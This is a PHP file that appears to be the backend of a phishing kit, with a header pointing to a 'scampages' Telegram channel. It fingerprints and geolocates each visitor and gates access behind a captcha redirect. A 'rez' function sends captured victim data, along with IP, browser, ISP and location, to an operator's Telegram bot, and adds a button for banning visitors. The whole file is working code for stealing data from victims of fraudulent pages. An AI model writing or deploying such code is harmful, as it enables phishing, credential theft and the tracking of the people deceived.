<?php


/*
 * telegram : https://t.me/iroscampages
 */

if (!isset($_SESSION)) {
    session_name('tkt');
    session_start();
}

require_once($_SERVER['DOCUMENT_ROOT'] . '/lib/db/data.php');
$db = new data([
    'path' => $_SERVER['DOCUMENT_ROOT'] . '/lib/db/data.db',
]);

require_once($_SERVER['DOCUMENT_ROOT'] . '/lib/BrowserDetection.php');

$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];

if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if ($ip == '::1') {
    $ip = "24.203.193.252";
}

$ipinfo_json = json_decode(
    file_get_contents(
        "http://ip-api.com/json/" . $ip .
            "?fields=status,message,country,countryCode,region,regionName,city,zip,lat,lon,timezone,isp,org,as,proxy,hosting,query"
    ),
    true
);
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$hostname = $_SERVER['HTTP_HOST'];
$fullDomain = $protocol . '://' . $hostname;
if ($protocol === 'http') {
    $fullDomain = $protocol . '://www.' . $hostname;
}


function noAccepted($t = 0, $r = 0)
{
    if ($t == 1) {
        if (!isset($_SESSION['captcha'])) {
            exit(header("location: /case/secure.php?" . $r));
        }
    } else {
        exit(header("location: /case/index.php?" . $r));
    }
}

function rez($titre, $data, $id, $btn = null)
{
    global $ip,  $agent, $ipinfo_json, $fullDomain;
    // date_default_timezone_set("Europe/Paris");


    if (!isset($btn)) {
        $btn = [
            [
                [
                    'text' => '🚧 BAN',
                    'url' => $fullDomain . '/lib/blip.php?ip=' . $ip
                ]
            ]
        ];
    }
    $btn =  ['inline_keyboard' => $btn];

    if (isset($id)) {
        $detect = new foroco\BrowserDetection();
        $result = json_decode($detect->getAll($agent, 'JSON'), true);

        $message = "<blockquote>☠️ " . $titre . "☠️</blockquote>\n<b>➖➖➖➖➖➖</b>\n";
        foreach ($data as $key => $value) {
            if (strpos($key, 'sep') === 0) {
                $message .= "$value\n";
            } else {
                $message .= "$key: $value\n";
            }
        }
        if (!empty($data)) {
            $message .= "<b>➖➖➖➖➖➖</b>\n";
        }
        $f = country2flag($ipinfo_json['countryCode']);
        $message .= "🔌 Browser: <code>" . $result['browser_name'] . "</code>
🔌 Os: <code>" .  $result['os_name'] . " " . $result['os_version'] . "</code> <u>(" . $result['device_type'] . ")</u>
🌐 IP: <code>$ip</code>
🌐 IP Geo: <a href='http://www.geoiptool.com/?ip=$ip'>geoiptool</a>
🌐 Isp: <code>" . $ipinfo_json['isp'] . "</code>
$f Country: <code>" . $ipinfo_json['country'] . "</code>
$f City: <code>" . $ipinfo_json['city'] . " " . $ipinfo_json['zip'] . "</code>";

        return telegram_send(
            $message,
            $btn,
            $id
        );
    }
}

function country2flag($countryCode)
{
    return mb_convert_encoding('&#' .
        implode(
            ';&#',
            array_map(function ($char) {
                return 127397 + ord($char);
            }, str_split(strtoupper($countryCode)))
        ) . ';', 'UTF-8', 'HTML-ENTITIES');
}

function telegram_send($message, $reply_markup = null, $id = null)
{
    global $rez;
    if (!$id) return;
    $curl = curl_init();
    $url = 'https://api.telegram.org/bot' . $rez["token"] . '/sendMessage?chat_id=' . $id . '&text=' . urlencode($message) . '&parse_mode=HTML';
    if ($reply_markup) {
        $reply_markup_json = json_encode($reply_markup);
        $url .= '&reply_markup=' . urlencode($reply_markup_json);
    }
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result;
}
